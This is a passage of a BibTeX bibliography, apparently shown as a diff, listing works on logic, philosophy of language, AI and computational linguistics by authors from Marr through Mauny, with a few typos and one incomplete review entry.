title = {Vision: A Computational Investigation into the Human + Representation and Processing of Visual Information}, + publisher = {W.H. Freeman}, + year = {1982}, + address = {San Francisco}, + topic = {human-vision;} + } + +@article{ marsden_el:1972a, + author = {E.L. Marsden}, + title = {Compatible Elements in Implicative Models}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {2}, + pages = {156--162}, + topic = {algebraic-logic;subtheories-of-PC;} + } + +@incollection{ marsden_gm:1984a, + author = {George M. Marsden}, + title = {Understanding Fundamentalist Views of Science}, + booktitle = {Science and Creationism}, + publisher = {Oxford University Press}, + year = {1984}, + editor = {Ashley Montagu}, + pages = {95--116}, + address = {Oxford}, + topic = {creationism;fundamentalism;history-of-science;} + } + +@book{ marshall-rossman:1998a, + author = {Catherine Marshall and Gretchen B. Rossman}, + title = {Designing Qualitative Research}, + publisher = {Sage Publications}, + year = {1998}, + address = {Thousand Oaks, California}, + topic = {qualitative-methods;} + } + +@incollection{ marsi:1998a, + author = {Edwin Marsi}, + title = {Introducing Maximal Variation in Text Planning for Small + Domains}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {68--77}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;text-planning;} + } + +@article{ marsland-etal:1987a, + author = {T.A. Marsland and Alexander Reinefeld and Jonathan Schaeffer}, + title = {Low Overhead Alternatives to {SSS}*}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {31}, + number = {2}, + pages = {185--199}, + topic = {search;} + } + +@incollection{ marslenwilson-tyler:1987a, + author = {William Marslen-Wilson and Lorraine K. Tyler}, + title = {Against Modularity}, + booktitle = {Modularity in Knowledge Representation and Natural-Language + Understanding}, + publisher = {The {MIT} Press}, + year = {1987}, + editor = {Jay L. Garfield}, + pages = {37--62}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-modularity;} + } + +@article{ martelli:1977a, + author = {Alberto Martelli}, + title = {On the Complexity of Admissible Search Algorithms}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {8}, + number = {1}, + pages = {1--13}, + topic = {search;complexity-in-AI;} + } + +@incollection{ marti:1993a, + author = {Genoveva Marti}, + title = {The Source of Intensionality}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {197--206}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {intensionality;logical-form;nl-semantics;} + } + +@article{ marti:1994a, + author = {Genoveva Marti}, + title = {Do Modal Distinctions Collapse in {C}arnap's System?}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {6}, + pages = {575--593}, + conentnote = {Quine and Follesdal had argued that the system + of carnap:1956a produced p --> []p, via some sort of + incoherence in the interaction of quantification and + modality. Marti argues here that their arguments are + flawed.}, + topic = {quantifying-in-modality;Carnap;} + } + +@article{ marti:1995a, + author = {Genoveva Marti}, + title = {The Essence of Genuine Reference}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {3}, + pages = {275--289}, + topic = {reference;intensionality;} + } + +@article{ martin_cb:1994a, + author = {C.B. Martin}, + title = {Dispositions and Conditionals}, + journal = {The Philosophical Quarterly}, + year = {1994}, + volume = {44}, + number = {174}, + pages = {1--8}, + topic = {dispositions;conditionals;} + } + +@incollection{ martin_cb-heil:1998a, + author = {C.B. Martin and John Heil}, + title = {Rules and Powers}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {283--312}, + address = {Oxford}, + topic = {rule-following;dispositions;} + } + +@article{ martin_e1:1972a, + author = {Edward {Martin, Jr.}}, + title = {Truth and Translation}, + journal = {Philosophical Studies}, + year = {1972}, + volume = {23}, + pages = {125--130}, + missinginfo = {number}, + topic = {Davidson;truth-definitions;} + } + +@article{ martin_e2-weinstein:1997a, + author = {Eric Martin and Scott Weinstein}, + title = {Scientific Discovery Based on Belief Revision}, + journal = {Journal of Symbolic Logic}, + year = {1997}, + volume = {62}, + pages = {1352--1370}, + number = {4}, + topic = {scientific-discovery;belief-revision;} + } + +@article{ martin_e2-osherson:2000a, + author = {Eric Martin and Daniel Osherson}, + title = {Scientific Discovery on Positive Data via Belief + Revision}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {5}, + pages = {483--506}, + topic = {learning-theory;belief-revision;} + } + +@inproceedings{ martin_jc:1999a, + author = {Jean-Claude Martin}, + title = {{TYCOON}, Six Primitive Types of Cooperation for + Observing, Estimating, and Specifying Cooperations}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {61--66}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;ccoperation;empirical-methods-in-discourse;} + } + +@article{ martin_jh:1993a, + author = {James H. Martin}, + title = {Review of {\it Paradigms of Artificial Intelligence Programming: + A Student's Perspective}, by {P}eter {N}orvig}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {64}, + number = {1}, + pages = {169--180}, + xref = {Review of norvig:1992a.}, + topic = {AI-programming;AI-intro;} + } + +@book{ martin_jn:1987a, + author = {John N. Martin}, + title = {Elements of Formal Semantics: An Introduction to Logic + for Students of Language}, + publisher = {Academic Press}, + year = {1987}, + address = {New York}, + ISBN = {0-12-474856-2 (pbk)}, + topic = {logic-intro;} + } + +@article{ martin_jn:2001a, + author = {John N. Martin}, + title = {Proclus and the Neoplatonistic Syllogistic}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {3}, + pages = {187--240}, + topic = {syllogistic;} + } + +@inproceedings{ martin_m-geffner:2000a, + author = {Mario Martin and H\'ector Geffner}, + title = {Learning Generalized Policies in Planning Using Concept + Languages}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {667--677}, + topic = {planning-algorithms;machine-learning;taxonomic-logics;} + } + +@incollection{ martin_p:1997a, + author = {Paul Martin}, + title = {The `Casual Cashmere Diaper Bag': Constraining + Speech Recognition using Examples}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {61--65}, + address = {New Brunswick, New Jersey}, + topic = {speech-recognition;} + } + +@article{ martin_rl:1968a, + author = {Robert L. Martin}, + title = {On {G}relling's Paradox}, + journal = {The Philosophical Review}, + year = {1968}, + volume = {77}, + number = {3}, + pages = {321--331}, + topic = {semantic-paradoxes;} + } + +@book{ martin_rl:1970a, + editor = {Robert L. Martin}, + title = {The Paradox of the Liar}, + publisher = {Yale University Press}, + year = {1970}, + address = {New Haven}, + topic = {semantic-paradoxes;} + } + +@incollection{ martin_rl:1971a, + author = {Robert L. Martin}, + title = {Some Thoughts on the Formal Approach to the Philosophy + of Language}, + booktitle = {Pragmatics of Natural Language}, + publisher = {D. Reidel Publishing Company}, + year = {1971}, + editor = {Yehoshua Bar-Hillel}, + pages = {120--144}, + topic = {philosophy-of-language;} + } + +@unpublished{ martin_rl:1973a, + author = {Robert L. Martin}, + title = {Are Natural Languages Universal?}, + year = {1973}, + note = {Unpublished manuscript.}, + topic = {semantic-paradoxes;} + } + +@incollection{ martin_rl-woodruff:1976a, + author = {Robert L. Martin and Peter Woodruff}, + title = {On Representing `True-in{$L$}' in {$L$}}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {113--117}, + address = {Dordrecht}, + topic = {truth;semantic-paradoxes;fixpoints;} + } + +@book{ martin_rl:1984a, + editor = {Robert L. Martin}, + title = {Recent Essays on the Liar Paradox}, + publisher = {Oxford University Press}, + year = {1984}, + address = {Oxford, England}, + topic = {semantic-paradoxes;} + } + +@incollection{ martin_rm1:1976a, + author = {Richard M. Martin}, + title = {On {H}arris' Systems of Report and Paraphrase}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {541--568}, + address = {Dordrecht}, + topic = {nl-semantics;} + } + +@article{ martin_rm1:1978a, + author = {Richard M. Martin}, + title = {Of Servants, Lovers, and Benefactors: Peirce's Algebra + of Relatives of 1870}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {1}, + pages = {27--48}, + topic = {Peirce;} + } + +@book{ martin_rm1:1979a, + author = {Richard M. Martin}, + title = {Pragmatics, Truth, and Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + address = {Dordrecht}, + xref = {Review: cocchiarella:1981a}, + topic = {nominalism;philosophy-of-language;pragmatics;} + } + +@book{ martin_rm2:1987a, + author = {Robert M. Martin}, + title = {The Meaning of Language}, + publisher = {The {MIT} Press}, + year = {1987}, + address = {Cambridge, Massachusetts}, + ISBN = {0262631083 (pbk.)}, + topic = {philosophy-of-language;} + } + +@article{ martin_t:1998a, + author = {Thomas Martin}, + title = {Self-Deception and Intentional Forgetting: A + Reply to {W}hisner}, + journal = {Philosophia}, + year = {1998}, + volume = {26}, + number = {1--2}, + pages = {181--194}, + topic = {self-deception;} + } + +@techreport{ martin_wa-etal:1981a, + author = {William A. Martin and Kenneth W. Church and Ramesh S. Patil}, + title = {Preliminary Analysis of a Breadth-First Parsing Algorithm: + Theoretical and Experimental Results}, + institution = {Laboratory for Computer Science, Massachusetts Institute + of Technology}, + number = {MIT/LCS/TR-261}, + year = {1981}, + address = {Cambridge, Massachusetts}, + topic = {parsing-algorithms;} + } + +@article{ martinez:2001a, + author = {Maricarmen Martinez}, + title = {Some Closure Properties of Finite Definitions}, + journal = {Studia Logica}, + year = {2001}, + volume = {68}, + number = {1}, + pages = {43--68}, + topic = {truth;semantic-paradoxes;definitions;} + } + +@article{ martinich:1984a, + author = {A.P. Martinich}, + title = {A Theory of Metaphor}, + journal = {Journal of Literary Semantics}, + year = {1984}, + volume = {13}, + pages = {35--56}, + missinginfo = {A's 1st name, number}, + topic = {metaphor;} + } + +@book{ martinich:1990a, + author = {A.P. Martinich}, + title = {The Philosophy of Language}, + publisher = {Oxford University Press}, + year = {1990}, + address = {Oxford}, + edition = {2}, + missinginfo = {A's 1st name.}, + topic = {philosophy-of-language;} + } + +@book{ martinlof:1970a, + author = {Per Martin-L\"of}, + title = {Notes on Constructive Mathematics}, + publisher = {Almqvist \& Wiksell}, + year = {1970}, + address = {Stockholm}, + topic = {constructive-mathematics;} + } + +@unpublished{ martinlof:1983a, + author = {Per Martin-L\"of}, + title = {On the Meanings of the Logical Constants and the + Justifications of the Logical Laws}, + year = {1983}, + note = {Unpublished manuscript, Department of Mathematics, University of + Stockholm}, + topic = {proof-theoretic-semantics;} + } + +@book{ martinlof:1984a, + author = {Per Martin-L\"of}, + title = {Intuitionistic Type Theory}, + publisher = {Bibliopolis}, + year = {1984}, + address = {Naples}, + topic = {intuitionistic-logic;type-theory;higher-order-logic;} + } + +@book{ martino_aa:1982a, + editor = {A.A. Martino}, + title = {Deontic Logic, Computational Linguistics and Legal + Information Systems}, + publisher = {North-Holland Publishing Co.}, + year = {1982}, + address = {Amsterdam}, + topic = {deontic-logic;legal-AI;} + } + +@article{ martino_e:1997a, + author = {Enrico Martino}, + title = {Negationless Intuitionism}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {2}, + pages = {165--177}, + topic = {intuitionistic-logic;} + } + +@inproceedings{ martins-shapiro_sc:1983a, + author = {Jo\~ao Martins and Stuart C. Shapiro}, + title = {Reasoning in Multiple Belief Spaces}, + booktitle = {Proceedings of the Eighth International Joint + Conference on Artificial Intelligence}, + year = {1983}, + editor = {Alan Bundy}, + pages = {370--373}, + publisher = {William Kaufmann, Inc.}, + address = {Los Altos, California}, + topic = {belief-revision;relevance-logic;} + } + +@article{ martins-shapiro_sc:1988a, + author = {Jo\~ao Martins and Stuart C. Shapiro}, + title = {A Model for Belief Revision}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {1}, + pages = {25--79}, + topic = {belief-revision;relevance-logic;} + } + +@article{ martinvide:1997a, + author = {Carlos Mart\'in-Vide}, + title = {Natural Computation for Natural Language}, + journal = {Fundematica Informaticae}, + year = {1997}, + volume = {31}, + number = {2}, + pages = {117--124}, + topic = {grammar-formalisms;context-grammars;} + } + +@incollection{ marty:1992a, + author = {Robert Marty}, + title = {Foliated Semantic Networks: Concepts, Facts, Qualities}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {679--696}, + address = {Oxford}, + topic = {kr;semantic-networks;kr-course;} + } + +@article{ marx-etal:1995a, + author = {Maarten Marx and Szabolcs Milul\'as and Istv\'a N\'emeti}, + title = {Taming Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {4}, + number = {3}, + pages = {207--226}, + topic = {modal-logics;completeness-theorems;interpolation-theorems;} + } + +@incollection{ marx:1996a, + author = {Maarten Marx}, + title = {Dynamic Arrow Logic}, + booktitle = {Arrow Logic and Multimodal Logic}, + publisher = {{CLSI} Publications}, + year = {1996}, + editor = {Maarten Marx and L\'azl\'o P\'olos and Michael Masuch}, + pages = {109--123}, + address = {Stanford, California}, + topic = {arrow-logic;} + } + +@book{ marx-etal:1996a, + editor = {Maarten Marx and L\'azl\'o P\'olos and Michael Masuch}, + title = {Arrow Logic and Multimodal Logic}, + publisher = {{CLSI} Publications}, + year = {1996}, + address = {Stanford, California}, + contentnote = {TC: + 1. Yde Venema, "A Crash Course in Arrow Logic", pp. 3--34 + 2. Maarten Marx and Szabolcs Mikul\'as and Istv\'an N\'emeti + and Idik\'o Sain, "Causes and Remedies for + Undecidability in Arrow Logics and Multi-Modal + Logics", pp. 35--61 + 3. Hajnal Andr\'eka and \'Agnes Kurucz and Istv\'an N\'emeti + Ildik\'o Sain and Andr\'as Simon, "Investigations in + Arrow Logic", pp. 63--99 + 4. Viktor Gyuris, "Associativity Does Not Imply Undecidability + without the Axiom of Modal Distribution", pp. 101--107 + 5. Maarten Marx, "Dynamic Arrow Logic", pp. 109--123 + 6. Szabolcs Mikul\'as, "Complete Calculus for Conjugated + Arrow Logic", pp. 125--139 + 7. Dimiter Vakarelov, "Many-Dimensional Arrow Structures: + Arrow Logics {II}", pp. 141--187 + 8. Maarten de Rijke, "What is modal logic?", pp. 191--202 + 9. Johan van Benthem, "Content Versus Wrapping: An Essay in + Semantic Complexity", pp. 203--219 + 10. Istv\'an N\'emeti, "A Fine-Structure Analysis of + First-Order Logic", pp. 221--247 + }, + topic = {arrow-logic;} + } + +@incollection{ marx-etal:1996b, + author = {Maarten Marx and Szabolcs Mikul\'as and Istv\'an N\'emeti + and Idik\'o Sain}, + title = {Causes and Remedies for Undecidability in Arrow Logics and + Multi-Modal Logics}, + booktitle = {Arrow Logic and Multimodal Logic}, + publisher = {{CLSI} Publications}, + year = {1996}, + editor = {Maarten Marx and L\'azl\'o P\'olos and Michael Masuch}, + pages = {35--61}, + address = {Stanford, California}, + topic = {arrow-logic;multimodal-logic;} + } + +@book{ marx-venema:1997a, + author = {Maarten Marx and Yde Venema}, + title = {Multi-Dimensional Modal Logic}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = {Dordrecht}, + contentnote = {A logic is multidimensional if the states are tuples.}, + ISBN = {079234345X}, + xref = {Reviews: zakharyaschev:2000a, vakarelov:2000a.}, + topic = {modal-logic;} + } + +@incollection{ marx:1998a, + author = {Maarten Marx}, + title = {Mosaics and Cylindric Modal Logic of Dimension 2}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {141--156}, + address = {Stanford, California}, + topic = {modal-logic;cylindrical-algebra;} + } + +@article{ marx:1999a, + author = {Maarten Marx}, + title = {Review of {\em The Classical Decision Problem}, + by {E}gon {B}\"orger {E}rich {G}r\"adel, and {Y}uri {G}urevich}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {4}, + pages = {478--481}, + xref = {Review of borger-etal:1997a.}, + topic = {undecidability;decidability;} + } + +@article{ marx:1999b, + author = {Maarten Marx}, + title = {Review of {\it Deduction Systems}, + by {R}olf {S}ocher-{A}mbrosius and {P}atricia {J}ohann}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {4}, + pages = {476--478}, + xref = {Review of socherambrosius-johann:1997a.}, + topic = {theorem-proving;resolution;} + } + +@article{ marx:1999c, + author = {Maarten Marx}, + title = {Complexity of Products of Modal Logics}, + journal = {Journal of Logic and Computation}, + year = {1999}, + volume = {9}, + pages = {221--238}, + topic = {modal-logic;complexity-theory;} + } + +@article{ marx:2001a, + author = {Maartin Marx}, + title = {Tolerance Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {2001}, + volume = {10}, + number = {3}, + pages = {353--373}, + topic = {guarded-fragments;} + } + +@inproceedings{ maser:1988a, + author = {Murray S. Maser}, + title = {A Knowledge Theoretic Account of Recovery in Distributed + Systems: The Case of Negotiated Agreement}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {309--323}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {distributed-systems;} + } + +@article{ mason_f:2001a, + author = {Franklin Mason}, + title = {Review of {\it Parts and Places: The Structures of Spatial + Representation}, by {R}oberto {C}asati and {A}chille {C}. {V}arzi}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {3}, + pages = {479--481}, + xref = {Review of: casati-varzi:1999a.}, + topic = {spatial-representation;philosophical-ontology;mereology;} + } + +@book{ mason_j:1996a, + author = {Jennifer Mason}, + title = {Qualitative Researching}, + publisher = {Sage Publications}, + year = {1996}, + address = {Thousand Oaks, California}, + topic = {qualitative-methods;} + } + +@book{ mason_o:2000a, + author = {Oliver Mason}, + title = {Programming for Corpus Linguistics: How to Do Text + Analysis with {J}ava}, + publisher = {Edinburgh University Press}, + year = {2000}, + address = {Edinburgh}, + ISBN = {0 7486 1407 9}, + topic = {corpus-linguistics;programming-for-linguists;JAVA;} + } + +@inproceedings{ massacci:1994a, + author = {Fabio Massacci}, + title = {Strongly Analytic Tableaux for Normal Modal Logics}, + booktitle = {Proceedings of the Twelfth International Conference on + Automated Deduction (CADE'94)}, + editor = {Alan Bundy}, + publisher = {Springer-Verlag}, + year = {1994}, + address = {Berlin}, + pages = {723--737}, + series = {Lecture Notes in Artificial Intelligence}, + volume = {814}, + topic = {proof-theory;modal-logic;} +} + +@inproceedings{ massacci:1995a, + author = {Fabio Massacci}, + title = {Superficial Tableau for Contextual Reasoning}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {60--67}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {context;contextual-reasoning;semantic-tableaux;} + } + +@inproceedings{ massacci:1996a, + author = {Fabio Massacci}, + title = {Contextual Reasoning Is {NP}-Complete}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {621--626}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {context;complexity-in-AI;} + } + +@inproceedings{ massacci:2000a, + author = {Fabio Massacci}, + title = {Reduction Rules and Universal Variables for First + Order Tableaux and {DPLL}}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {186--197}, + topic = {theorem-proving;resolution;constraint-propagation;} + } + +@article{ masuko:1997a, + author = {Mayumi Masuko}, + title = {Review of {\it The Generative Lexicon}, by {J}ames + {P}ustejovsky}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {3}, + pages = {350--353}, + topic = {nl-kr;computational-lexical-semantics;nm-ling; + lexical-processing;} + } + +@article{ materna:1981a, + author = {Pavel Materna}, + title = {Question-Like and Non-Question-Like Imperative Sentences}, + journal = {Linguistics and Philosophy}, + year = {1981}, + volume = {4}, + number = {3}, + pages = {393--404}, + topic = {indirect-speech-acts;pragmatics;imperatives;interrogatives;} + } + +@incollection{ materna-sgall:1984a, + author = {Pavel Materna and Petr Sgall}, + title = {Optional Participants in a Semantic Interpretation + (Arity od Predicates and Case Frames of Verbs)}, + booktitle = {Contributions to Functional Syntax, Semantics, and + Language Comprehension}, + publisher = {Academia}, + year = {1984}, + editor = {Petr Sgall}, + pages = {51--62}, + address = {Prague}, + topic = {argument-structure;} + } + +@article{ materna-etall:1987a, + author = {Pavel Materna and Eva Haji\c{o}v\'a and Petr Sgall}, + title = {Redundant Answers and Topic-Focus Alternation}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {1}, + pages = {101--113}, + topic = {s-topic;sentence-focus;interrogatives;pragmatics;} + } + +@article{ materna:1997a, + author = {Pavel Materna}, + title = {Rules of Existential Quantification into + ``Intensional Contexts''}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {3}, + pages = {331--343}, + topic = {quantifying-in-modality;} + } + +@article{ mates:1950a1, + author = {Benson Mates}, + title = {Synonymity}, + journal = {University of California Publications in Philosophy}, + year = {1950}, + volume = {25}, + missinginfo = {pages}, + xref = {Republication: mates:1950a2.}, + topic = {synonymity;intensionality;hyperintensionality;} + } + +@incollection{ mates:1950a2, + author = {Benson Mates}, + title = {Synonymity}, + booktitle = {Semantics and the Philosophy of Language}, + publisher = {University of Illinois Press}, + year = {1952}, + editor = {Leonard Linsky}, + pages = {111--136}, + address = {Urbana, Illinois}, + xref = {Republication of: mates:1950a1.}, + topic = {synonymity;intensionality;hyperintensionality;} + } + +@article{ mates:1958a, + author = {Benson Mates}, + title = {On the Verification of Statements about Ordinary Language}, + journal = {Inquiry}, + year = {1958}, + volume = {1}, + pages = {161--171}, + missinginfo = {number}, + topic = {ordinary-language-philosophy;philosophy-of-language; + philosophy-of-linguistics;} + } + +@article{ mates:1973a, + author = {Benson Mates}, + title = {Dwscriptions and Reference}, + journal = {Foundations of Language}, + year = {1973}, + volume = {10}, + number = {3}, + pages = {409--418}, + topic = {definite-descriptions;} + } + +@inproceedings{ matessa-anderson_j:1999a, + author = {Michael Matessa and John Anderson}, + title = {Towards an {ACT-R} Model of Communication in + Problem Solving}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {67--72}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;communication;cognitive-architectures;} + } + +@incollection{ mateus-etal:2002a, + author = {Paulo Mateus and Ant\'onio Pacheco and Javier Pinto}, + title = {Observations and the Probabilistic Situation Calculus}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {327--}, + address = {San Francisco, California}, + topic = {kr;} + } + +@inproceedings{ matos-martins:1999a, + author = {Pedro Matos and Jo\~ao Martins}, + title = {Non-Situation Calculus: Relating {STRIPS} and + Situation Calculus}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Nonmonotonic Reasoning, Action and Change}, + year = {1999}, + editor = {Michael Thielscher}, + pages = {103--119}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {action-formalisms;situation-calculus;} + } + +@phdthesis{ matsui:1995a, + author = {Tomoko Matsui}, + title = {Bridging and Relevance}, + school = {University of London}, + year = {1995}, + type = {Ph.{D}. Dissertation}, + address = {London}, + topic = {relevance-theory;referring-expressions;bridging-anaphora;} + } + +@incollection{ matsui:1998a, + author = {Tomoko Matsui}, + title = {Assessing a Scenario-Based Account of Bridging Reference + Assignment}, + booktitle = {Relevance Theory: Applications and Implications}, + publisher = {John Benjamins Publishing Co.}, + year = {1998}, + editor = {Robyn Carston and Seiji Uchida}, + pages = {122--159}, + address = {Amsterdam}, + topic = {relevance-theory;referring-expressions;bridging-anaphora;} + } + +@incollection{ matsui:1999a, + author = {Tomoko Matsui}, + title = {On the Role of Context in Relevance-Based Accessibility + Ranking of Candidate Referents}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {228--241}, + address = {Berlin}, + topic = {context;centering;anaphora-resolution;relevance-theory; + Japanese-language;} + } + +@incollection{ matsui:1999b, + author = {Tomoko Matsui}, + title = {Approaches to {J}apanese Zero Pronouns}, + booktitle = {The Relation of Discourse/Dialogue Structure and + Reference}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Dan Cristea and Nancy Ide and Daniel Marcu}, + pages = {11--20}, + address = {New Brunswick, New Jersey}, + topic = {Japanese-language;anaphora;ellipsis;} + } + +@incollection{ matsui:2001a, + author = {Tomoko Matsui}, + title = {Experimental Pragmatics: Towards Testing + Relevance-Based Predictions about Anaphoric Bridging + Inferences}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {248--260}, + address = {Berlin}, + topic = {context;bridging-anaphora;relevance-theory;} + } + +@article{ matsumoto:1995a, + author = {Yo Matsumoto}, + title = {The Conversational Condition on {H}orn Scales}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {1}, + pages = {21--60}, + topic = {implicature;pragmatics;} + } + +@article{ matsuyama-nitta:1995a, + author = {Takashi Matsuyama and Tomoaki Nitta}, + title = {Geometric Theorem Proving by Integrated Logical and + Algebraic Reasoning}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {75}, + number = {1}, + pages = {93--113}, + topic = {theorem-proving;algebraic-computation;geometrical-reasoning + computer-assisted-mathematics;} + } + +@article{ matthews:2001a, + author = {Gareth Matthews}, + title = {Review of {\it Order in Multiplicity: Homonymy in the + Philosophy of {A}ristotle}, by {C}Hristopher {S}woyer}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {2}, + pages = {267--269}, + xref = {Review of: shields:1999a.}, + topic = {Aristotle;ambiguity;} + } + +@article{ matthews_gb:1964a, + author = {Gareth B. Matthews}, + title = {Ockham's Supposition Theory and Modern Logic}, + journal = {The Philosophical Review}, + year = {1964}, + volume = {73}, + number = {1}, + pages = {91--99}, + topic = {medieval-logic;} + } + +@article{ matthews_gb-cohem_sm:1967a, + author = {Gareth B. Matthews and S. Marc Cohen}, + title = {Wants and Lacks}, + journal = {The Journal of Philosophy}, + year = {1967}, + volume = {64}, + number = {14}, + pages = {455--456}, + topic = {desire;} + } + +@article{ matthews_gb:1991a, + author = {Gareth B. Matthews}, + title = {Review of {\it } , by } , + journal = {The Philosophical Review}, + year = {1991}, + volume = {107}, + number = {2}, + pages = {650--652}, + xref = {Review of: weitz:1988a,}, + topic = {concepts;history-of-philosophy;} + } + +@article{ matthewson:1999a, + author = {Lisa Matthewson}, + title = {On the Interpretation of Wide-Scope Indefinites}, + journal = {Natural Language Semantics}, + year = {1999}, + volume = {7}, + number = {1}, + pages = {79--134}, + topic = {indefinites;nl-semantics;} + } + +@techreport{ matthiessen:1987a, + author = {Christian M. Matthiessen}, + year = {1987}, + title = {Notes on the Organization of the Environment of a Text + Generation Grammar}, + institution = {University of Southern California, Information Sciences + Institute}, + number = {ISI/RS-87-177}, + topic = {nl-generation;} +} + +@incollection{ matthiessen:1991a, + author = {Christian M. Matthiessen}, + title = {Lexico(Grammatical) Choice in Text Generation}, + booktitle = {Natural Language Generation in Artificial Intelligence + and Computational Linguistics}, + year = {1991}, + editor = {Cecile L. Paris and William R. Swartout and William C. Mann}, + publisher = {Kluwer Academic Publishers, Boston}, + pages = {249--292}, + topic = {nl-generation;} +} + +@incollection{ matthiessen-etal:1998a, + author = {Christian Matthiessen and Licheng Zeng and Marilyn Cross + and Ichiro Kobayashi and Kazuhiro Teruya and Canzhong Wu}, + title = {The {M}ultex Generator Environment: Application + and Development}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {228--237}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;machine-translation;multimedia-generation; + graphics-generation;} + } + +@book{ mauny-derauglaudre:1992a, + author = {Michel Mauny and Daniel de Rauglaudre}, + title = {Parsers in {Ml}}, + publisher = {Institut National de Recherche en Informatique et en + Automatique}, + year = {1992}, + address = {Le Chesnay, France}, + acontentnote = {Abstract: + We present the operational 